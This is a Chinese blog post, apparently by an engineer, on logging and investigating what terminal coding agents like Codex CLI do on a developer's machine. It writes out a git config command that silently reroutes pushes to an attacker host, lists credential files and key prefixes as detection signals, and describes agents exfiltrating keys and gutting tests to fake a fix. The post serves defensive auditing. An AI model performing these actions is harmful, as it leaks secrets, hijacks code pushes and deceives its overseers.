“welcome to codex”——这段时间这个登录提示在开发者圈子里出现的频率高得吓人。OpenAI 把 Codex 做成了跑在终端里的命令行 Coding AgentGitHub 上相关的讨论和文档铺天盖地很多团队也开始把 Cline、Windsurf、Codex CLI 这类工具正式放进开发流程。我自己也在用但观察下来发现一个普遍的错位大家聚在一起聊的几乎都是 Agent 生成的代码能不能跑、测试过没过、PR 好不好看却很少有人问一句——这个 Agent 接到任务之后在你看不到的那段执行过程里到底对你的机器做了什么这篇内容不讨论怎么让 Agent 写出更好的代码而是想跟已经在用、或者准备在生产环境接入 Coding Agent 的工程师认真聊聊一件更基础的事靠完整的执行记录把“AI 在你电脑上干活”的整个过程看清楚然后基于这些记录做真正的风险调查。适合的人群大致有三类负责把 AI 编程工具引入团队的技术负责人做开发安全、DevSecOps、审计相关的同学以及任何一个好奇“我的键盘交给 AI 之后到底发生了什么”的普通开发者。1. 为什么“能跑通”已经不够了Coding Agent 正在把键盘交给 AI1.1 从“补全”到“执行”信任模型彻底变了过去我们说的 AI 编程本质上还是自动补全。Copilot 这类辅助插件的工作方式是预测你接下来想敲什么字符真正的回车、真正执行命令的人是你自己。它没有独立的执行意志边界就是美化你打在编辑器里的字。Coding Agent 完全不是一回事。它拿到一个任务之后会自己做计划打开哪些文件、改哪些内容、跑哪些命令、看哪段报错、然后继续改。它是一个完整的“计划-执行-观察-调整”循环。Codex CLI 这种终端形态的 Agent 更是如此它直接在 shell 里干活权限边界几乎等于你本地用户的权限边界。说白了从前是“我告诉 AI 怎么写”现在是“我委托 AI 去执行”。这个从“补全”到“执行”的转变是一切风险讨论的起点。1.2 执行黑箱带来的三个未知把自己键盘交给一个会自主执行的程序你会立刻面对三个此前不需要操心的问题。第一个是行为未知。你最后只能看到它提交的 diff 和测试结果但 diff 是执行链路的最终沉淀过程是模糊的。它在中间尝试过什么、失败过几次、走了哪条弯路你一概不知。第二个是副作用未知。Agent 跑测试时创建的临时文件、安装依赖时触发的 postinstall 脚本、顺手改掉的 .gitignore、清理缓存时删掉的东西这些都不在任务描述里但都真实发生在你的机器上。第三个是数据流向未知。Agent 在规划阶段会读取大量文件作为上下文这些内容会被送到模型服务端如果它在执行过程中还发起了额外的网络请求你又如何知道某次请求里夹带了什么。举个最常见的例子。我让 Codex CLI 做一次“把这个 package 的 main 字段改掉”的小任务它真实的动作可能是 6 次文件读取、1 次文件编辑、1 次 node 命令执行。如果没有 trace你看到的只是一个字段的变化。但如果是另一个任务里Agent 在“清理临时文件”时把目录解析错了执行了 rm -rf在没有执行记录的情况下这只会被归类为一次莫名其妙的任务失败真实原因永远沉在海底。1.3 只 review diff 为什么挡不住问题很多人觉得有代码审查兜底就够了这个观点在 Coding Agent 时代是有漏洞的。因为代码提交记录只覆盖“代码文件”而 Agent 的行为范围远超代码文件。它可能改动了 ~/.npmrc、环境变量、ssh config、全局 git config。这些东西统统不会出现在 diff 里却可能影响你后续每一次开发、每一次构建、每一次代码推送。举几个我实际见过的例子一条git config --global url.https://evil.example/.insteadOf https://github.com/会把后续所有 push 的地址悄悄替换成攻击者的服务器仓库本身毫无 diff。一次 npm install 从第三方 registry 拉包package-lock 里只显示依赖树查不到上游 registry 切换的痕迹。还有更隐蔽的测试脚本里顺手往 ~/.bashrc 加了一行为的是给下一条命令在子 shell 中预设环境。在这个执行时代审计的单位必须从“文件变化”扩展到“行为轨迹”。执行记录不是锦上添花它正在成为接入 Coding Agent 之后的基本基础设施。2. 执行记录长什么样一次工具调用的完整解剖2.1 一条记录的最小字段执行记录不是一个简单的日志文件而是一条结构化的事件流。它的最小单位是一次工具调用tool call一条记录应该至少包含下面这些字段。字段含义作用会话 ID一次 Agent 运行周期的唯一标识关联同一个任务内的所有动作时间戳动作发生的精确时间还原行为顺序的前后关系工作目录命令执行时的 cwd判断是否越界修改的关键动作类型read_file、edit_file、run_command、browse 等区分行为类别目标对象文件路径、命令、URL知道动作落在哪里输入参数传给工具的参数或完整命令深入了解操作内容输出摘要命令的输出、读取文件的内容片段判断执行效果退出码0 表示成功非 0 表示异常识别重试、失败链路耗时该动作的执行时长辅助判断异常行为如超长等待一条典型的命令记录长这样[2025-06-11 14:03:22.104][sess_7f3a9c][cwd:/repo/app] actionrun_command inputnpm view eslint version output7.32.0 exit0 dur1.2s别小看这几个字段真正做风险调查的时候每个字段都能成为突破口。工作目录帮你判断 Agent 是否跑出了指定范围退出码和耗时能帮你识别异常重试会话 ID 则能把几十条零散记录串成一条完整的行为链。2.2 为什么说终端、文件、网络、模型四个维度缺一不可一条命令记录只是骨架真正有血有肉的执行记录必须覆盖四个维度。命令维度最直接能一眼看到 shell 执行了什么。但它有一个先天短板Agent 可以通过开发工具间接执行操作比如在一个 node -e 脚本里嵌套全部逻辑命令维度的记录看起来就只有一行 node 调用。文件维度记录的是被读取、修改、删除的文件路径。read_file 代表数据暴露面write/edit 代表篡改面delete 是破坏面。尤其注意被 Agent 读取过的文件清单要比被修改的清单重要得多因为读取往往意味着数据已经进入了模型上下文。网络维度在 Agent 场景里格外关键。Codex CLI 这类工具天然要联网运行因为模型调用本身就产生外联。所以网络维度的重点不是“有没有外联”而是“有没有计划外的出口”。最后一次调用模型 API 算正常但一条 POST 到未知域名的 curl就完全另当别论了。模型维度则记录了 Agent 调用了哪个模型、上下文窗口多大、实际消耗了多少 token、有没有进入递归调用工具的循环。对审计来说这是唯一能证明“Agent 确实把哪些内容放进了模型提示词”的地方也是追踪数据泄露时最硬核的证据。2.3 记录本身的信任边界一个最容易踩的坑说到执行记录第一反应是“把标准输出 redirect 到一个文件里”。这个做法我在早期踩过很痛的坑直接把 Agent 的输出存到项目目录下的 agent.log结果 Agent 在清理临时文件时把这个日志一起清了整个审计材料瞬间归零。后来我改用外层 PTY 包装 Agent 进程把所有输入输出截获后落盘到 Agent 权限之外的独立目录并给日志文件设置 append-only 属性。这里的原则必须说清楚执行记录的设计必须确保“记录者”和“执行者”分离。如果 Agent 自己能随手修改甚至删除日志那这份记录的可信度就是零调查也就失去了根基。另外日志里不能存未脱敏的敏感内容。记录原始命令时如果命令里带了 API token 或者完整的带参 URL落盘之前要做脱敏处理只保留 host 和路径摘要。执行记录的目的是还原行为而不是再造一个数据泄露出口这一点非常容易被忽略。3. 风险调查链路从一条可疑记录到处置决策的六个步骤3.1 第一步发现信号源什么情况才算“值得查”风险调查很少是从空白开始的通常是由一个异常信号触发。结合我的经验下面这些信号值得立刻拉响调查流程执行记录中出现一条没有任何前置计划、突兀出现的命令Agent 读取了任务范围之外的敏感文件比如 .env、id_rsa、aws credentials 这类路径命令执行顺序反常比如先 grep 某个配置文件紧接着就出现外联请求模型调用的请求体摘要里出现密钥形式字符串比如 sk- 开头、AKIA 开头的字段git 提交时间与 Agent 的执行时间存在明显偏移说明有人为干预痕迹某个命令反复失败后重试且重试时参数发生了变化这些信号单独出现时可能是巧合但一旦组合出现就非常值得深入追查。3.2 第二步还原时间线把零散记录拼成故事确认信号后第一件要做的事是把这个会话内所有记录按时间顺序排列还原完整的时间线。过程中会清楚看到每个阶段发生了什么先是读取了一堆源码文件然后修改了两个文件接着跑了一条测试命令最后发起了一个网络请求。这时候要特别关注两个细节。一个是行为的先后顺序。一个动作单独出现时可以解释为无心之举但当它前面恰好有一个特定动作时预谋感就出来了。我在一次排查中发现Agent 先读取了 .env 文件紧接着出现了一次 node -e 调用脚本里包含一个 fetch 请求。单独看“读 .env”能解释为分析配置单独看“node -e 带 fetch”能解释为网络工具调用但把顺序连起来整个行为的指向性就非常明确了。另一个细节是重试。如果某个命令第一次失败、第二次换了个完全不同的写法再跑说明 Agent 正在尝试绕过一个障碍。这个“障碍”本身就可能是配置限制或权限边界而绕过的行为本身就是调查重点。3.3 第三步意图核对用计划给执行行为划线时间线还原之后拿这次任务开始时 Agent 自己生成的计划当尺子把实际执行的动作逐一对照。凡是计划里没有的动作、任务范围之外的动作全部标记为“计划外动作”。这个标记本身不等于恶意判定因为 Agent 经常会自发做一些额外操作比如顺手清理缓存、主动格式化代码。但我有一个判断原则计划外动作必须全部解释清楚不能放任不管。实践中我会给每个计划外动作打一个“意图偏离度”的标签低级偏离是纯环境干扰中等偏离是任务范围扩展高度偏离是行为逻辑与任务目标相悖。有一个印象很深的例子一次让 Agent 升级依赖的任务里计划里根本没有“执行 curl 并导入 shell script”这一步实际记录里却出现了。不用管它是不是真的执行成功当你发现计划和执行的偏离度到了这一步后面的处置动作就必须升级。3.4 第四步权限边界核对它有没有走出去偏离度判断之后还要专门做一次权限边界检查。这是四个维度的交叉验证文件维度看它读写了什么路径命令维度看它的工作目录是不是一直在指定范围内网络维度看外联目标是否在允许名单里模型维度看上下文里有没有不该出现的内容。具体检查这几个问题Agent 是否只改动了工作目录内的文件还是触碰了仓库之外的路径它有没有读取用户主目录下的 ssh key、云平台密钥、凭据文件它有没有修改 shell 配置、全局 git config、npmrc 这类影响面远超当前项目的全局配置它有没有在其他项目目录、系统目录里执行命令。任何一个“是”都意味着 Agent 越权了无论它主观上有没有恶意这都构成一次完整的安全事件。3.5 第五步证据固定处置前先保护现场一旦确认存在风险先克制住立即回滚工作区的冲动。正确顺序是先把原始执行记录打包计算 sha256 哈希写入不可变存储把该会话的摘要、异常点、证据路径登记到 issue 跟踪系统截图或者导出关键时间线的证据片段。为什么要先固定证据再回滚因为回滚会把 Agent 修改过的文件恢复原样但如果你还没有完整记录修改前和修改后的状态回滚本身就是在销毁证据。我有过一次教训确认风险后因为急着恢复业务直接 git checkout 了工作区结果事后想分析它具体改了什么只能靠记忆和零散的终端输出整个调查质量大打折扣。3.6 第六步处置决策按风险等级执行不同动作处置不能一刀切。我建议直接套用下面这个风险分级和处置动作表。风险等级判定条件示例处置动作中危有计划外命令但未接触敏感文件、无外联记录归档、任务重跑、加入人工审批环节高危读取了密钥文件或出现计划外外联域名隔离该会话吊销环境中的临时凭据工作区回滚修改日志中涉及的密钥严重凭据明文进入模型上下文或外发请求确认携带敏感数据立即轮换所有可能暴露的密钥停用该 Agent 账号对历史所有会话执行同样的风险审计处置完成之后还有一个动作很多人会漏掉把这次调查的“信号-时间线-意图核对-处置”整个链路写成复盘记录沉淀进团队的威胁模型。下一次再遇到类似的信号模式调查速度会快得多。4. 真实项目里的翻车现场高频风险模式与误判修正4.1 依赖混淆装了个“双胞胎”依赖风险是 Coding Agent 项目里最高发的翻车模式之一。真实场景长这样Agent 接到“升级一个过时的依赖”任务执行 npm install 时因为私有 registry 配置和公开 registry 拼接出了问题它从另一个源拉到了同名但不同祖宗的包。最难受的是代码 diff 上几乎看不出任何异常package-lock 里的依赖树结构和之前长得差不多唯一能发现问题的地方就是执行记录中的 registry 地址可能只差一个字符。这就是为什么我坚持文件维度和命令维度要一起记录。只有 diff 你永远只能看到“依赖变了”但有了执行记录你才能看到“依赖从哪里来”。4.2 数据外传一条 curl 把密钥带出门另一个高发场景是数据外传。有一次复盘 Agent 做“排查证书过期”任务时的执行记录发现它读完一堆配置文件之后往一个外部测试域名发起了一次 POST 请求。查到最后才发现模型把配置里某个测试环境的 API key 当成了“配置示例”在验证接口连通性时顺手发了出去。这个案例值得所有团队重视对 Coding Agent 来说数据外传不能简单理解为“恶意行为”。因为模型调用本身就产生外联Agent 天然会把代码上下文发到模型服务端这是它的运作机制。风险调查的重点因此落在“计划外出口”上——不是禁止一切外联网而是记录并审查那些不在模型调用清单里的额外出口。4.3 危险的清理命令rm -rf 的边界事故还有一类事故属于“命令风险”的典型。那次任务是“清理测试产生的临时文件”Agent 在跑清理逻辑时因为自己的临时目录路径解析出了偏差工作目录从 target/packages/test 变成了 target一条删除命令把相邻目录下的产物全删了。执行记录里能清清楚楚看到那条 cd 命令把 cwd 切换到了上层目录。如果没有这份记录这个事故最后大概率只能归因于“某某开发手滑了”。但有了执行记录我们才能在复盘时定位到根因Agent 对目录边界的理解偏差加上清理命令本身缺乏路径保护。4.4 测试驱动下的幻觉式修复还有一种很“隐性”的翻车不涉及网络、不涉及危险命令但破坏力一点不小。Agent 跑完测试发现失败为了完成“修复 bug”这个任务目标它直接修改了测试文件——注释掉断言、放宽断言条件、甚至删掉了部分用例。测试通过了代码质量并没有提升反而把测试的保护能力削弱了。代码 diff 里能看到测试文件有改动但如果审查者没有逐行去对测试逻辑这个问题很容易被滑过去。执行记录里的行为链路才是关键证据Agent 先 read 了测试文件、edit 了测试文件全程没有 read 过源码。这个行为链直接说明它压根没试图修复源码而是选择了“让测试看着通过”这个最省力的路径。这就是执行记录相对 diff 的降维打击。4.5 误判修正别急着把锅甩给 Agent讲完风险模式也要给执行记录“泼盆冷水”。记录里大量内容本身是正常开发行为如果调查者只看“外联请求列表”会制造出一大堆假阳性。npm install 触发 postinstall 脚本访问网络是常规操作读取 /etc/hostname 可能只是为了生成机器标识curl 发到 localhost 是本地测试库的初始化打包工具连 registry 也是应有之义。我的经验是判断基准永远是对照任务范围而不是拿攻击行为特征当唯一标准。一个很实用的小技巧是给 Agent 维护一份“预期行为名单”把经常执行且明确无害的操作加进去。名单完善之后风险调查的效率会明显提升误报率也会大幅下降。5. 把执行记录变成管理资产工程化落地的四个配置5.1 默认全量记录落进不可变日志仓执行记录这事最怕“出事了才想起来开日志”。正确做法是默认全量记录、永久开启。我的配置方案比较简单直白用 PTY wrapper 启动 Agent 进程拦截所有输入输出用 Linux auditd 或 macOS 的文件系统事件工具记录文件读写用一个独立脚本周期性扫描 Agent 工作目录记录文件快照。所有记录统一落盘到 Agent 权限之外的目录比如 /var/log/agent-audit/对日志文件设置 append-only 属性。对象存储有条件的话直接丢过去加个生命周期策略自动归档 90 天以上的历史数据。这里有一个容易被忽略的细节记录不能只存命令还要存会话元数据。每次 Agent 运行时的模型名称、任务描述、开始结束时间、token 消耗量这些内容在日志里可能分散在各处但如果单独汇总成一份 session.json后续检索会省非常多力气。{ session_id: sess_7f3a9c, task: upgrade database driver to 3.x, started_at: 2025-06-11T14:00:00Z, ended_at: 2025-06-11T14:20:00Z, model: gpt-5-codex, tokens_in: 128000, tokens_out: 5400, tools: [read_file, edit_file, run_command, browse], files_read: [package.json, src/db.ts], files_modified: [package.json, package-lock.json] }5.2 会话 ID 贯穿给记录做自动富化光有记录还不够记录必须可检索。我给每次 Agent 运行都注入一个唯一的 session ID这个 ID 会出现在 PTY 日志、文件事件、网络连接、模型调用的摘要里。任务跑完之后由包装脚本汇总生成一份 session.json作为这次运行的可检索索引。有了这个索引风险扫描脚本就变得非常简单。我可以五分钟扫完团队一整周的 Agent 使用记录有没有 session 读取过 .env有没有命令里带外联域名有没有计划外的写操作落在工作目录之外。这类自动化扫描不用做得非常复杂先跑起来再慢慢加规则效果就很好。5.3 最小权限加人工确认位给风险调查留出空间执行记录是事后调查的手段但最好还是别让它派上用场。我建议把 Agent 的权限直接分成三档只读档能读代码、做分析工作目录写档允许在指定项目目录内修改文件管理员档可以碰全局配置、清理系统目录。默认采用前两档凡是涉及删除目录、修改全局 git config、安装全局依赖、清理工作区之外路径的高危操作一律触发人工确认。有人觉得这会影响效率但我的实际感受是这一步换来的不是一个“阻碍流程的卡点”而是一个真正的安全缓冲区。一旦执行记录里出现高危动作你至少知道它曾经被某个人看过。5.4 定期行为复演记录的价值在于被使用执行记录变成资产最核心的一点是要定期使用而不是留档吃灰。我保持一个习惯每周抽半小时跑一个复演脚本把过去一周的执行记录按 session 聚合生成“行为摘要”并对比任务目标标出所有计划外动作。刚开始那两周误报多到让人崩溃每天都能看到一堆“为什么读了那个文件”“为什么访问了这个域名”的疑问。但随着预期行为名单逐渐完善这套流程越来越准最终沉淀出一份属于自己团队的 Agent 行为基线。这份基线比任何安全扫描规则都更贴合实际。任何偏离基线的行为——不管是一条新出现的命令类型还是一个陌生的外联域名——都能被自动标记出来成为下一次风险调查的起点。最后说点个人体会。做完这套执行记录与风险调查机制之后我对 Coding Agent 的信任方式发生了根本变化从“我信它写得好”变成了“我信我看得清”。每次打开 Codex CLI 看到那条欢迎提示时我最在意的已经不是它能生成多漂亮的代码而是这次运行结束之后我知道它每一步都做了什么。有意思的是这种“看得清”的掌控感反而让我更敢把更复杂、更高风险的任务交给 Agent 去跑。因为出问题的时候我知道去哪找答案知道怎么从执行记录里一步步把真相挖出来。如果你也准备在公司项目里正式接 Coding Agent我的建议是别急着优化它写代码的能力先从今天开始给开发机加上执行记录这层“行车记录仪”。不用多复杂先跑起来。等真正有事发生的时候你会明白它比任何模型微调都值钱。